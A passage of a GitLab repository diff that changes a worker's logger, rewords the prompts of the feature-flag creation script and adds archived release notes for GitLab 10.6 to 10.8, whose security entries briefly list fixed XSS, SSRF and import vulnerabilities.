upload.calculate_checksum!
upload.save!
rescue ActiveRecord::RecordNotFound
- Rails.logger.error("UploadChecksumWorker: couldn't find upload #{upload_id}, skipping") # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.error("UploadChecksumWorker: couldn't find upload #{upload_id}, skipping")
end
end
diff --git a/bin/feature-flag b/bin/feature-flag
index ba86df9c06c..9a550dc8884 100755
--- a/bin/feature-flag
+++ b/bin/feature-flag
@@ -60,11 +60,11 @@ class FeatureFlagOptionParser
options.force = value
end
- opts.on('-m', '--introduced-by-url [string]', String, 'URL to Merge Request introducing Feature Flag') do |value|
+ opts.on('-m', '--introduced-by-url [string]', String, 'URL of Merge Request introducing the Feature Flag') do |value|
options.introduced_by_url = value
end
- opts.on('-i', '--rollout-issue-url [string]', String, 'URL to Issue rolling out Feature Flag') do |value|
+ opts.on('-i', '--rollout-issue-url [string]', String, 'URL of Issue rolling out the Feature Flag') do |value|
options.rollout_issue_url = value
end
@@ -106,7 +106,7 @@ class FeatureFlagOptionParser
def read_group
$stdout.puts
- $stdout.puts ">> Please specify the group introducing feature flag, like `group::apm`:"
+ $stdout.puts ">> Specify the group introducing the feature flag, like `group::apm`:"
loop do
$stdout.print "?> "
@@ -114,7 +114,7 @@ class FeatureFlagOptionParser
group = nil if group.empty?
return group if group.nil? || group.start_with?('group::')
- $stderr.puts "Group needs to include `group::`"
+ $stderr.puts "The group needs to include `group::`"
end
end
@@ -123,7 +123,7 @@ class FeatureFlagOptionParser
return TYPES.first.first if TYPES.one?
$stdout.puts
- $stdout.puts ">> Please specify the type of your feature flag:"
+ $stdout.puts ">> Specify the feature flag type:"
$stdout.puts
TYPES.each do |type, data|
$stdout.puts "#{type.to_s.rjust(15)}#{' '*6}#{data[:description]}"
@@ -141,7 +141,7 @@ class FeatureFlagOptionParser
def read_introduced_by_url
$stdout.puts
- $stdout.puts ">> If you have MR open, can you paste the URL here? (or enter to skip)"
+ $stdout.puts ">> URL of the MR introducing the feature flag (enter to skip):"
loop do
$stdout.print "?> "
@@ -166,11 +166,11 @@ class FeatureFlagOptionParser
issue_new_url = url + "?" + URI.encode_www_form(params)
$stdout.puts
- $stdout.puts ">> Open this URL and fill the rest of details:"
+ $stdout.puts ">> Open this URL and fill in the rest of the details:"
$stdout.puts issue_new_url
$stdout.puts
- $stdout.puts ">> Paste URL of `rollout issue` here, or enter to skip:"
+ $stdout.puts ">> URL of the rollout issue (enter to skip):"
loop do
$stdout.print "?> "
@@ -181,6 +181,10 @@ class FeatureFlagOptionParser
$stderr.puts "URL needs to start with https://"
end
end
+
+ def read_default_enabled(options)
+ TYPES.dig(options.type, :default_enabled)
+ end
end
end
@@ -226,7 +230,7 @@ class FeatureFlagCreator
'rollout_issue_url' => options.rollout_issue_url,
'group' => options.group.to_s,
'type' => options.type.to_s,
- 'default_enabled' => false
+ 'default_enabled' => FeatureFlagOptionParser.read_default_enabled(options)
).strip
end
diff --git a/changelogs/README.md b/changelogs/README.md
index d408a74157a..3dad62474a2 100644
--- a/changelogs/README.md
+++ b/changelogs/README.md
@@ -8,3 +8,17 @@ To generate and validate your changelog entries:
See [development/changelog] documentation for detailed usage.
[development/changelog]: https://docs.gitlab.com/ee/development/changelog.html
+
+# Changelog archival
+
+The current major release is always in [CHANGELOG.md](../CHANGELOG.md) at the
+root of the repository.
+
+From GitLab 10.0.0 onwards, we store all changelog entries for a major release
+in their own file in this directory. For instance, the changelog entries for the
+10.X series of GitLab are in [archive-10.md](archive-10.md). Releases prior to
+10.0.0 have their changelogs archived in [archive.md](archive.md).
+
+Changelogs for GitLab Enterprise Edition features (all tiers) are in the
+corresponding `-ee` files, such as [CHANGELOG-EE.md](../CHANGELOG-EE.md) and
+[archive-12-ee.md](archive-12-ee.md).
diff --git a/changelogs/archive-10.md b/changelogs/archive-10.md
new file mode 100644
index 00000000000..fcc15dc9d74
--- /dev/null
+++ b/changelogs/archive-10.md
@@ -0,0 +1,2380 @@
+## 10.8.6 (2018-07-17)
+
+### Security (2 changes)
+
+- Fix symlink vulnerability in project import.
+- Merge branch 'fix-mr-widget-border' into 'master'.
+
+
+## 10.8.5 (2018-06-21)
+
+### Security (5 changes)
+
+- Fix XSS vulnerability for table of content generation.
+- Update sanitize gem to 4.6.5 to fix HTML injection vulnerability.
+- HTML escape branch name in project graphs page.
+- HTML escape the name of the user in ProjectsHelper#link_to_member.
+- Don't show events from internal projects for anonymous users in public feed.
+
+
+## 10.8.4 (2018-06-06)
+
+- No changes.
+
+## 10.8.3 (2018-05-30)
+
+### Fixed (4 changes)
+
+- Replace Gitlab::REVISION with Gitlab.revision and handle installations without a .git directory. !19125
+- Fix encoding of branch names on compare and new merge request page. !19143
+- Fix remote mirror database inconsistencies when upgrading from EE to CE. !19196
+- Fix local storage not being cleared after creating a new issue.
+
+### Performance (1 change)
+
+- Memoize Gitlab::Database.version.
+
+
+## 10.8.2 (2018-05-28)
+
+### Security (3 changes)
+
+- Prevent user passwords from being changed without providing the previous password.
+- Fix API to remove deploy key from project instead of deleting it entirely.
+- Fixed bug that allowed importing arbitrary project attributes.
+
+
+## 10.8.1 (2018-05-23)
+
+### Fixed (9 changes)
+
+- Allow CommitStatus class to use presentable methods. !18979
+- Fix corrupted environment pages with unathorized proxy url. !18989
+- Fixes deploy token variables on Ci::Build. !19047
+- Fix project mirror database inconsistencies when upgrading from EE to CE. !19109
+- Render 404 when prometheus adapter is disabled in Prometheus metrics controller. !19110
+- Fix error when deleting an empty list of refs.
+- Fixed U2F login when used with LDAP.
+- Bump prometheus-client-mmap to 0.9.3 to fix nil exception error.
+- Fix system hook not firing for blocked users when LDAP sign-in is used.
+
+
+## 10.8.0 (2018-05-22)
+
+### Security (3 changes, 1 of them is from the community)
+
+- Update faraday_middlewar to 0.12.2. !18397 (Takuya Noguchi)
+- Serve archive requests with the correct file in all cases.
+- Sanitizes user name to avoid XSS attacks.
+
+### Fixed (47 changes, 11 of them are from the community)
+
+- Refactor CSS to eliminate vertical misalignment of login nav. !16275 (Takuya Noguchi)
+- Fix pipeline status in branch/tag tree page. !17995
+- Allow group owner to enable runners from subgroups (#41981). !18009
+- Fix template selector menu visibility when toggling preview mode in file edit view. !18118 (Fabian Schneider)
+- Fix confirmation modal for deleting a protected branch. !18176 (Paul Bonaud @PaulRbR)
+- Triggering custom hooks by Wiki UI edit. !18251
+- Now `rake cache:clear` will also clear pipeline status cache. !18257
+- Fix `joined` information on project members page. !18290 (Fabian Schneider)
+- Fix missing namespace for some internal users. !18357
+- Show shared projects on group page. !18390
+- Restore label underline color. !18407 (George Tsiolis)
+- Fix undefined `html_escape` method during markdown rendering. !18418
+- Fix unassign slash command preview. !18447
+- Correct text and functionality for delete user / delete user and contributions modal. !18463 (Marc Schwede)
+- Fix discussions API setting created_at for notable in a group or notable in a project in a group with owners. !18464
+- Don't include lfs_file_locks data in export bundle. !18495
+- Reset milestone filter when clicking "Any Milestone" in dashboard. !18531
+- Ensure member notifications are sent after the member actual creation/update in the DB. !18538
+- Update links to /ci/lint with ones to project ci/lint. !18539 (Takuya Noguchi)
+- Fix tabs container styles to make RSS button clickable. !18559
+- Raise NoRepository error for non-valid repositories when calculating repository checksum. !18594
+- Don't automatically remove artifacts for pages jobs after pages:deploy has run. !18628
+- Increase new issue metadata form margin. !18630 (George Tsiolis)
+- Add loading icon padding for pipeline environments. !18631 (George Tsiolis)
+- ShaAttribute no longer stops startup if database is missing. !18726
+- Fix close keyboard shortcuts dialog using the keyboard shortcut. !18783 (Lars Greiss)
+- Fixes database inconsistencies between Community and Enterprise Edition on import state. !18811
+- Add database foreign key constraint between pipelines and build. !18822
+- Fix finding wiki pages when they have invalidly-encoded content. !18856
+- Fix outdated Web IDE welcome copy. !18861
+- fixed copy to blipboard button in embed bar of snippets. !18923 (haseebeqx)
+- Disables RBAC on nginx-ingress. !18947
+- Correct skewed Kubernetes popover illustration. !18949
+- Resolve Import/Export ci_cd_settings error updating the project. !46049
+- Fix project creation for user endpoint when jobs_enabled parameter supplied.
+- 46210 Display logo and user dropdown on mobile for terms page and fix styling.
+- Adds illustration for when job log was erased.
+- Ensure web hook 'blocked URL' errors are stored in web hook logs and properly surfaced to the user.
+- Make toggle markdown preview shortcut only toggle selected field.
+- Verifiy if pipeline has commit idetails and render information in MR widget when branch is deleted.
+- Fixed inconsistent protected branch pill baseline.
+- Fix setting GitLab metrics content types.
+- Display only generic message on merge error to avoid exposing any potentially sensitive or user unfriendly backend messages.
+- Fix label links update on project transfer.
+- Breaks commit not found message in pipelines table.
+- Adjust issue boards list header label text color.
+- Prevent pipeline actions in dropdown to redirct to a new page.
+
+### Changed (35 changes, 15 of them are from the community)
+
+- Improve tooltips in collapsed right sidebar. !17714
+- Partition job_queue_duration_seconds with jobs_running_for_project. !17730
+- For group dashboard, we no longer show groups which the visitor is not a member of (this applies to admins and auditors). !17884 (Roger Rüttimann)
+- Use RFC 3676 mail signature delimiters. !17979 (Enrico Scholz)
+- Add sha filter to pipelines list API. !18125
+- New CI Job live-trace architecture. !18169
+- Make project deploy keys table more clearly structured. !18279
+- Remove green background from unlock button in admin area. !18288
+- Renamed Overview to Project in the contextual navigation at a project level. !18295 (Constance Okoghenun)
+- Load branches on new merge request page asynchronously. !18315
+- Create settings section for autodevops. !18321
+- Add a comma to the time estimate system notes. !18326
+- Enable specifying variables when executing a manual pipeline. !18440
+- Fix size and position for fork icon. !18449 (George Tsiolis)
+- Refactored activity calendar. !18469 (Enrico Scholz)
+- Small improvements to repository checks. !18484
+- Add 2FA filter to users API for admins only. !18503
+- Align project avatar on small viewports. !18513 (George Tsiolis)
+- Show group and project LFS settings in the interface to Owners and Masters. !18562
+- Update environment item action buttons icons. !18632 (George Tsiolis)
+- Update timeline icon for description edit. !18633 (George Tsiolis)
+- Revert discussion counter height. !18656 (George Tsiolis)
+- Improve quick actions summary preview. !18659 (George Tsiolis)
+- Change font for tables inside diff discussions. !18660 (George Tsiolis)
+- Add padding to profile description. !18663 (George Tsiolis)
+- Break issue title for board card title and issuable header text. !18674 (George Tsiolis)
+- Adds push mirrors to GitLab Community Edition. !18715
+- Inform the user when there are no project import options available. !18716 (George Tsiolis)
+- Improve commit message body rendering and fix responsive compare panels. !18725 (Constance Okoghenun)
+- Reconcile project templates with Auto DevOps. !18737
+- Remove branch name from the status bar of WebIDE.
+- Clean up WebIDE status bar and add useful info.
+- Improve interaction on WebIDE commit panel.
+- Keep current labels visible when editing them in the sidebar.
+- Use VueJS for rendering pipeline stages.
+
+### Performance (26 changes, 11 of them are from the community)
+
+- Move WorkInProgress vue component. !17536 (George Tsiolis)
+- Move ReadyToMerge vue component. !17545 (George Tsiolis)
+- Move BoardBlankState vue component. !17666 (George Tsiolis)
+- Improve DB performance of calculating total artifacts size. !17839
+- Add i18n and update specs for UnresolvedDiscussions vue component. !17866 (George Tsiolis)
+- Introduce new ProjectCiCdSetting model with group_runners_enabled. !18144
+- Move PipelineFailed vue component. !18277 (George Tsiolis)
+- Move TimeTrackingEstimateOnlyPane vue component. !18318 (George Tsiolis)
+- Move TimeTrackingHelpState vue component. !18319 (George Tsiolis)
+- Reduce queries on merge requests list page for merge requests from forks. !18561
+- Destroy build_chunks efficiently with FastDestroyAll module. !18575
+- Improve performance of a service responsible for creating a pipeline. !18582
+- Replace time_ago_in_words with JS-based one. !18607 (Takuya Noguchi)
+- Move TimeTrackingNoTrackingPane vue component. !18676 (George Tsiolis)
+- Move SidebarTimeTracking vue component. !18677 (George Tsiolis)
+- Move TimeTrackingSpentOnlyPane vue component. !18710 (George Tsiolis)
+- Detecting tags containing a commit uses Gitaly by default.
+- Increase cluster applications installer availability using alpine linux mirrors.
+- Compute notification recipients in background jobs.
+- Use persisted diff data instead fetching Git on discussions.
+- Detecting branchnames containing a commit uses Gitaly by default.
+- Detect repository license on Gitaly by default.
+- Finish NamespaceService migration to Gitaly.
+- Check if a ref exists is done by Gitaly by default.
+- Compute Gitlab::Git::Repository#checksum on Gitaly by default.
+- Repository#exists? is always executed through Gitaly.
+
+### Added (22 changes, 10 of them are from the community)
+
+- Allow group masters to configure runners for groups. !9646 (Alexis Reigel)
+- Adds Embedded Snippets Support. !15695 (haseebeqx)
+- Add Copy metadata quick action. !16473 (Mateusz Bajorski)
+- Show Runner's description on job's page. !17321
+- Add deprecation message to dynamic milestone pages. !17505
+- Show new branch/mr button even when branch exists. !17712 (Jacopo Beschi @jacopo-beschi)
+- API: add languages of project GET /projects/:id/languages. !17770 (Roger Rüttimann)
+- Display active sessions and allow the user to revoke any of it. !17867 (Alexis Reigel)
+- Add cron job to email users on issue due date. !17985 (Stuart Nelson)
+- Rubocop rule to avoid returning from a block. !18000 (Jacopo Beschi @jacopo-beschi)
+- Add the signature verification badge to the compare view. !18245 (Marc Shaw)
+- Expose Deploy Token data as environment varialbes on CI/CD jobs. !18414
+- Show group id in group settings. !18482 (George Tsiolis)
+- Allow admins to enforce accepting Terms of Service on an instance. !18570
+- Add CI_COMMIT_MESSAGE, CI_COMMIT_TITLE and CI_COMMIT_DESCRIPTION predefined variables. !18672
+- Add GCP signup offer to cluster index / create pages. !18684
+- Output some useful information when running the rails console. !18697
+- Display merge commit SHA in merge widget after merge. !18722
+- git SHA is now displayed alongside the GitLab version on the Admin Dashboard.
+- Expose the target commit ID through the tag API.
+- Added fuzzy file finder to web IDE.
+- Add discussion API for merge requests and commits.
+
+### Other (22 changes, 8 of them are from the community)
+
+- Replace the `project/issues/milestones.feature` spinach test with an rspec analog. !18300 (@blackst0ne)
+- Replace the `project/commits/branches.feature` spinach test with an rspec analog. !18302 (@blackst0ne)
+- Replacing gollum libraries for gitlab custom libs. !18343
+- Replace the `project/commits/comments.feature` spinach test with an rspec analog. !18356 (@blackst0ne)
+- Replace "Click" with "Select" to be more inclusive of people with accessibility requirements. !18386 (Mark Lapierre)
+- Remove ahead/behind graphs on project branches on mobile. !18415 (Takuya Noguchi)
+- Replace the `project/source/markdown_render.feature` spinach test with an rspec analog. !18525 (@blackst0ne)
+- Add missing changelog type to docs. !18526 (@blackst0ne)
+- Added Webhook SSRF prevention to documentation. !18532
+- Upgrade underscore.js to 1.9.0. !18578
+- Add documentation about how to use variables to define deploy policies for staging/production environments. !18675
+- Replace the `project/builds/artifacts.feature` spinach test with an rspec analog. !18729 (@blackst0ne)
+- Block access to the API & git for users that did not accept enforced Terms of Service. !18816
+- Transition to atomic internal ids for all models. !44259
+- Removes modal boards store and mixins from global scope.
+- Replace GKE acronym with Google Kubernetes Engine.
+- Replace vue resource with axios for pipelines details page.
+- Enable prometheus monitoring by default.
+- Replace vue resource with axios in pipelines table.
+- Bump lograge to 0.10.0 and remove monkey patch.
+- Improves wording in new pipeline page.
+- Gitaly handles repository forks by default.
+
+
+## 10.7.7 (2018-07-17)
+
+### Security (1 change)
+
+- Fix symlink vulnerability in project import.
+
+
+## 10.7.6 (2018-06-21)
+
+### Security (6 changes)
+
+- Fix XSS vulnerability for table of content generation.
+- Update sanitize gem to 4.6.5 to fix HTML injection vulnerability.
+- HTML escape branch name in project graphs page.
+- HTML escape the name of the user in ProjectsHelper#link_to_member.
+- Don't show events from internal projects for anonymous users in public feed.
+- XSS fix to use safe_params instead of params in url_for helpers.
+
+### Other (1 change)
+
+- Replacing gollum libraries for gitlab custom libs. !18343
+
+
+## 10.7.5 (2018-05-28)
+
+### Security (3 changes)
+
+- Prevent user passwords from being changed without providing the previous password.
+- Fix API to remove deploy key from project instead of deleting it entirely.
+- Fixed bug that allowed importing arbitrary project attributes.
+
+
+## 10.7.4 (2018-05-21)
+
+### Fixed (1 change)
+
+- Fix error when deleting an empty list of refs.
+
+
+## 10.7.3 (2018-05-02)
+
+### Fixed (8 changes)
+
+- Fixed wrong avatar URL when the avatar is on object storage. !18092
+- Fix errors on pushing to an empty repository. !18462
+- Update doorkeeper to 4.3.2 to fix GitLab OAuth authentication. !18543
+- Ports omniauth-jwt gem onto GitLab OmniAuth Strategies suite. !18580
+- Fix redirection error for applications using OpenID. !18599
+- Fix commit trailer rendering when Gravatar is disabled.
+- Fix file_store for artifacts and lfs when saving.
+- Fix users not seeing labels from private groups when being a member of a child project.
+
+
+## 10.7.2 (2018-04-25)
+
+### Security (2 changes)
+
+- Serve archive requests with the correct file in all cases.
+- Sanitizes user name to avoid XSS attacks.
+
+
+## 10.7.1 (2018-04-23)
+
+### Fixed (11 changes)
+
+- [API] Fix URLs in the `Link` header for `GET /projects/:id/repository/contributors` when no value is passed for `order_by` or `sort`. !18393
+- Fix a case with secret variables being empty sometimes. !18400
+- Fix `Trace::HttpIO` can not render multi-byte chars. !18417
+- Fix specifying a non-default ref when requesting an archive using the legacy URL. !18468
+- Respect visibility options and description when importing project from template. !18473
+- Removes 'No Job log' message from build trace. !18523
+- Align action icons in pipeline graph.
+- Fix direct_upload when records with null file_store are used.
+- Removed alert box in IDE when redirecting to new merge request.
+- Fixed IDE not loading for sub groups.
+- Fixed IDE not showing loading state when tree is loading.
+
+### Performance (4 changes)
+
+- Validate project path prior to hitting the database. !18322
+- Add index to file_store on ci_job_artifacts. !18444
+- Fix N+1 queries when loading participants for a commit note.
+- Support Markdown rendering using multiple projects.
+
+### Added (1 change)
+
+- Add an API endpoint to download git repository snapshots. !18173
+
+
+## 10.7.0 (2018-04-22)
+
+### Security (6 changes, 2 of them are from the community)
+
+- Fixed some SSRF vulnerabilities in services, hooks and integrations. !2337
+- Update ruby-saml to 1.7.2 and omniauth-saml to 1.10.0. !17734 (Takuya Noguchi)
+- Update rack-protection to 2.0.1. !17835 (Takuya Noguchi)
+- Adds confidential notes channel for Slack/Mattermost.
+- Fix XSS on diff view stored on filenames.
+- Fix GitLab Auth0 integration signing in the wrong user.
+
+### Fixed (65 changes, 20 of them are from the community)
+
+- File uploads in remote storage now support project renaming. !4597
+- Fixed bug in dropdown selector when selecting the same selection again. !14631 (bitsapien)
+- Fixed group deletion linked to Mattermost. !16209 (Julien Millau)
+- Create commit API and Web IDE obey LFS filters. !16718
+- Set breadcrumb for admin/runners/show. !17431 (Takuya Noguchi)
+- Enable restore rake task to handle nested storage directories. !17516 (Balasankar C)
+- Fix hover style of dropdown items in the right sidebar. !17519
+- Improve empty state for canceled job. !17646
+- Fix generated URL when listing repoitories for import. !17692
+- Use singular in the diff stats if only one line has been changed. !17697 (Jan Beckmann)
+- Long instance urls do not overflow anymore during project creation. !17717
+- Fix importing multiple assignees from GitLab export. !17718
+- Correct copy text for the promote milestone and label modals. !17726
+- Fix search results stripping last endline when parsing the results. !17777 (Jasper Maes)
+- Add read-only banner to all pages. !17798
+- Fix viewing diffs on old merge requests. !17805
+- Fix forking to subgroup via API when namespace is given by name. !17815 (Jan Beckmann)
+- Fix UI breakdown for Create merge request button. !17821 (Takuya Noguchi)
+- Unify format for nested non-task lists. !17823 (Takuya Noguchi)
+- UX re-design branch items with flexbox. !17832 (Takuya Noguchi)
+- Use porcelain commit lookup method on CI::CreatePipelineService. !17911
+- Update dashboard milestones breadcrumb link. !17933 (George Tsiolis)
+- Deleting a MR you are assigned to should decrements counter. !17951 (m b)
+- Update no repository placeholder. !17964 (George Tsiolis)
+- Drop JSON response in Project Milestone along with avoiding error. !17977 (Takuya Noguchi)
+- Fix personal access token clipboard button style. !17978 (Fabian Schneider)
+- Avoid validation errors when running the Pages domain verification service. !17992
+- Project creation will now raise an error if a service template is invalid. !18013
+- Add better LDAP connection handling. !18039
+- Fix autolinking URLs containing ampersands. !18045
+- Fix exceptions raised when migrating pipeline stages in the background. !18076
+- Always display Labels section in issuable sidebar, even when the project has no labels. !18081 (Branka Martinovic)
+- Fixed gitlab:uploads:migrate task ignoring some uploads. !18082
+- Fixed gitlab:uploads:migrate task failing for Groups' avatar. !18088
+- Increase dropdown width in pipeline graph & center action icon. !18089
+- Fix `JobsController#raw` endpoint can not read traces in database. !18101
+- Fix `gitlab-rake gitlab:two_factor:disable_for_all_users`. !18154
+- Adjust 404's for LegacyDiffNote discussion rendering. !18201
+- Work around Prometheus Helm chart name changes to fix integration. !18206 (joshlambert)
+- Prioritize weight over title when sorting charts. !18233
+- Verify that deploy token has valid access when pulling container registry image. !18260
+- Stop redirecting the page in pipeline main actions.
+- Fixed IDE button opening the wrong URL in tree list.
+- Ensure hooks run when a deploy key without a user pushes.
+- Fix 404 in group boards when moving issue between lists.
+- Display state indicator for issuable references in non-project scope (e.g. when referencing issuables from group scope).
+- Add missing port to artifact links.
+- Fix data race between ObjectStorage background_upload and Pages publishing.
+- Fixes unresolved discussions rendering the error state instead of the diff.
+- Don't show Jump to Discussion button on Issues.
+- Fix bug rendering group icons when forking.
+- Automatically cleanup stale worktrees and lock files upon a push.
+- Use the GitLab version as part of the appearances cache key.
+- Fix Firefox stealing formatting characters on issue notes.
+- Include matching branches and tags in protected branches / tags count. (Jan Beckmann)
+- Fix 500 error when a merge request from a fork has conflicts and has not yet been updated.
+- Test if remote repository exists when importing wikis.
+- Hide emoji popup after multiple spaces. (Jan Beckmann)
+- Fix relative uri when "#" is in branch name. (Jan)
+- Escape Markdown characters properly when using autocomplete.
+- Ignore project internal references in group context.
+- Fix finding wiki file when Gitaly is enabled.
+- Fix listing commit branch/tags that contain special characters.
+- Ensure internal users (ghost, support bot) get assigned a namespace.
+- Fix links to subdirectories of a directory with a plus character in its path.
+
+### Deprecated (1 change)
+
+- Remove support for legacy tar.gz pages artifacts. !18090
+
+### Changed (22 changes, 2 of them are from the community)
+
+- Add yellow favicon when `CANARY=true` to differientate canary environment. !12477
+- Use human readable value build_timeout in Project. !17386
+- Improved visual styles and consistency for commit hash and possible actions across commit lists. !17406
+- Don't create permanent redirect routes. !17521
+- Add empty repo check before running AutoDevOps pipeline. !17605
+- Update wording to specify create/manage project vs group labels in labels dropdown. !17640
+- Add tooltips to icons in lists of issues and merge requests. !17700
+- Change avatar error message to include allowed file formats. !17747 (Fabian Schneider)
+- Polish design for verifying domains. !17767
+- Move email footer info to a single line. !17916
+- Add average and maximum summary statistics to the prometheus dashboard. !17921
+- Add additional cluster usage metrics to usage ping. !17922
+- Move 'Registry' after 'CI/CD' in project navigation sidebar. !18018 (Elias Werberich)
+- Redesign application settings to match project settings. !18019
+- Allow HTTP(s) when git request is made by GitLab CI. !18021
+- Added hover background color to IDE file list rows.
+- Make project avatar in IDE consistent with the rest of GitLab.
+- Show issues of subgroups in group-level issue board.
+- Repository checksum calculation is handled by Gitaly when feature is enabled.
+- Allow viewing timings for AJAX requests in the performance bar.
+- Fixes remove source branch checkbox being visible when user cannot remove the branch.
+- Make /-/ delimiter optional for search endpoints.
+
+### Performance (24 changes, 11 of them are from the community)
+
+- Move AssigneeTitle vue component. !17397 (George Tsiolis)
+- Move TimeTrackingCollapsedState vue component. !17399 (George Tsiolis)
+- Move MemoryGraph and MemoryUsage vue components. !17533 (George Tsiolis)
+- Move UnresolvedDiscussions vue component. !17538 (George Tsiolis)
+- Move NothingToMerge vue component. !17544 (George Tsiolis)
+- Move ShaMismatch vue component. !17546 (George Tsiolis)
+- Stop caching highlighted diffs in Redis unnecessarily. !17746
+- Add i18n and update specs for ShaMismatch vue component. !17870 (George Tsiolis)
+- Update spec import path for vue mount component helper. !17880 (George Tsiolis)
+- Move TimeTrackingComparisonPane vue component. !17931 (George Tsiolis)
+- Improves the performance of projects list page. !17934
+- Remove N+1 query for Noteable association. !17956
+- Improve performance of loading issues with lots of references to merge requests. !17986
+- Reuse root_ref_hash for performance on Branches. !17998 (Takuya Noguchi)
+- Update asciidoctor-plantuml to 0.0.8. !18022 (Takuya Noguchi)
+- Cache personal projects count. !18197
+- Reduce complexity of issuable finder query. !18219
+- Reduce number of queries when viewing a merge request.
+- Free open file descriptors and libgit2 buffers in UpdatePagesService.
+- Memoize Git::Repository#has_visible_content?.
+- Require at least one filter when listing issues or merge requests on dashboard page.
+- lazy load diffs on merge request discussions.
+- Bulk deleting refs is handled by Gitaly by default.
+- ListCommitsByOid is executed by Gitaly by default.
+
+### Added (38 changes, 7 of them are from the community)
+
+- Add HTTPS-only pages. !16273 (rfwatson)
+- adds closed by informations in issue api. !17042 (haseebeqx)
+- Projects and groups badges settings UI. !17114
+- Add per-runner configured job timeout. !17221
+- Add alternate archive route for simplified packaging. !17225
+- Add support for pipeline variables expressions in only/except. !17316
+- Add object storage support for LFS objects, CI artifacts, and uploads. !17358
+- Added confirmation modal for changing username. !17405
+- Implement foreground verification of CI artifacts. !17578
+- Extend API for exporting a project with direct upload URL. !17686
+- Move ci/lint under project's namespace. !17729
+- Add Total CPU/Memory consumption metrics for Kubernetes. !17731
+- Adds the option to the project export API to override the project description and display GitLab export description once imported. !17744
+- Port direct upload of LFS artifacts from EE. !17752
+- Adds support for OmniAuth JWT provider. !17774
+- Display error message on job's tooltip if this one fails. !17782
+- Add 'Assigned Issues' and 'Assigned Merge Requests' as dashboard view choices for users. !17860 (Elias Werberich)
+- Extend API for importing a project export with overwrite support. !17883
+- Create Deploy Tokens to allow permanent access to repository and registry. !17894
+- Detect commit message trailers and link users properly to their accounts on GitLab. !17919 (cousine)
+- Adds cancel btn to new pages domain page. !18026 (Jacopo Beschi @jacopo-beschi)
+- API: Add parameter merge_method to projects. !18031 (Jan Beckmann)
+- Introduce simpler env vars for auto devops REPLICAS and CANARY_REPLICAS #41436. !18036
+- Allow overriding params on project import through API. !18086
+- Support LFS objects when importing/exporting GitLab project archives. !18115
+- Store sha256 checksum of artifact metadata. !18149
+- Limit the number of failed logins when using LDAP for authentication. !43525
+- Allow assigning and filtering issuables by ancestor group labels.
+- Include subgroup issues when searching for group issues using the API.
+- Allow to store uploads by default on Object Storage.
+- Add slash command for moving issues. (Adam Pahlevi)
+- Render MR commit SHA instead "diffs" when viable.
+- Send @mention notifications even if a user has explicitly unsubscribed from item.
+- Add support for Sidekiq JSON logging.
+- Add Gitaly call details to performance bar.
+- Add support for patch link extension for commit links on GitLab Flavored Markdown.
+- Allow feature gates to be removed through the API.
+- Allow merge requests related to a commit to be found via API.
+
+### Other (27 changes, 11 of them are from the community)
+
+- Send notification emails when push to a merge request. !7610 (YarNayar)
+- Rename modal.vue to deprecated_modal.vue. !17438
+- Atomic generation of internal ids for issues. !17580
+- Use object ID to prevent duplicate keys Vue warning on Issue Boards page during development. !17682
+- Update foreman from 0.78.0 to 0.84.0. !17690 (Takuya Noguchi)
+- Add realtime pipeline status for adding/viewing files. !17705
+- Update documentation to reflect current minimum required versions of node and yarn. !17706
+- Update knapsack to 1.16.0. !17735 (Takuya Noguchi)
+- Update CI services documnetation. !17749
+- Added i18n support for the prometheus memory widget. !17753
+- Use specific names for filtered CI variable controller parameters. !17796
+- Apply NestingDepth (level 5) (framework/dropdowns.scss). !17820 (Takuya Noguchi)
+- Clean up selectors in framework/header.scss. !17822 (Takuya Noguchi)
+- Bump `state_machines-activerecord` to 0.5.1. !17924 (blackst0ne)
+- Increase the memory limits used in the unicorn killer. !17948
+- Replace the spinach test with an rspec analog. !17950 (blackst0ne)
+- Remove unused index from events table. !18014
+- Make all workhorse gitaly calls opt-out, take 2. !18043
+- Update brakeman 3.6.1 to 4.2.1. !18122 (Takuya Noguchi)
+- Replace the `project/issues/labels.feature` spinach test with an rspec analog. !18126 (blackst0ne)
+- Bump html-pipeline to 2.7.1. !18132 (@blackst0ne)
+- Remove test_ci rake task. !18139 (Takuya Noguchi)
+- Add documentation for Pipelines failure reasons. !18352
+- Improve JIRA event descriptions.
+- Add query counts to profiler output.
+- Move Sidekiq exporter logs to log/sidekiq_exporter.log.
+- Upgrade Gitaly to upgrade its charlock_holmes.
+
+
+## 10.6.6 (2018-05-28)
+
+### Security (4 changes)
+
+- Do not allow non-members to create MRs via forked projects when MRs are private.
+- Prevent user passwords from being changed without providing the previous password.
+- Fix API to remove deploy key from project instead of deleting it entirely.
+- Fixed bug that allowed importing arbitrary project attributes.
+
+
+## 10.6.5 (2018-04-24)
+
+### Security (1 change)
+
+- Sanitizes user name to avoid XSS attacks.
+
+
+## 10.6.4 (2018-04-09)
+
+### Fixed (8 changes, 1 of them is from the community)
+
+- Correct copy text for the promote milestone and label modals. !17726
+- Avoid validation errors when running the Pages domain verification service. !17992
+- Fix autolinking URLs containing ampersands. !18045
+- Fix exceptions raised when migrating pipeline stages in the background. !18076
+- Work around Prometheus Helm chart name changes to fix integration. !18206 (joshlambert)
+- Don't show Jump to Discussion button on Issues.
+- Fix listing commit branch/tags that contain special characters.
+- Fix 404 in group boards when moving issue between lists.
+
+### Performance (1 change)
+
+- Free open file descriptors and libgit2 buffers in UpdatePagesService.
+
+
+## 10.6.3 (2018-04-03)
+
+### Security (2 changes)
+
+- Fix XSS on diff view stored on filenames.
+- Adds confidential notes channel for Slack/Mattermost.
+
+
+## 10.6.2 (2018-03-29)
+
+### Fixed (2 changes, 1 of them is from the community)
+
+- Don't capture trailing punctuation when autolinking. !17965
+- Cloning a repository over HTTPS with LDAP credentials causes a HTTP 401 Access denied. (Horatiu Eugen Vlad)
+
+
+## 10.6.1 (2018-03-27)
+
+### Security (1 change)
+
+- Bump rails-html-sanitizer to 1.0.4.
+
+### Fixed (2 changes)
+
+- Prevent auto-retry AccessDenied error from stopping transition to failed. !17862
+- Fix 500 error when trying to resolve non-ASCII conflicts in the editor. !17962
+
+### Performance (1 change)
+
+- Add indexes for user activity queries. !17890
+
+### Other (1 change)
+
+- Add documentation for runner IP address (#44232). !17837
+
+
+## 10.6.0 (2018-03-22)
+
+### Security (4 changes)
+
+- Fixed some SSRF vulnerabilities in services, hooks and integrations. !2337
+- Ensure that OTP backup codes are always invalidated.
+- Add verification for GitLab Pages custom domains.
+- Fix GitLab Auth0 integration signing in the wrong user.
+
+### Fixed (75 changes, 17 of them are from the community)
+
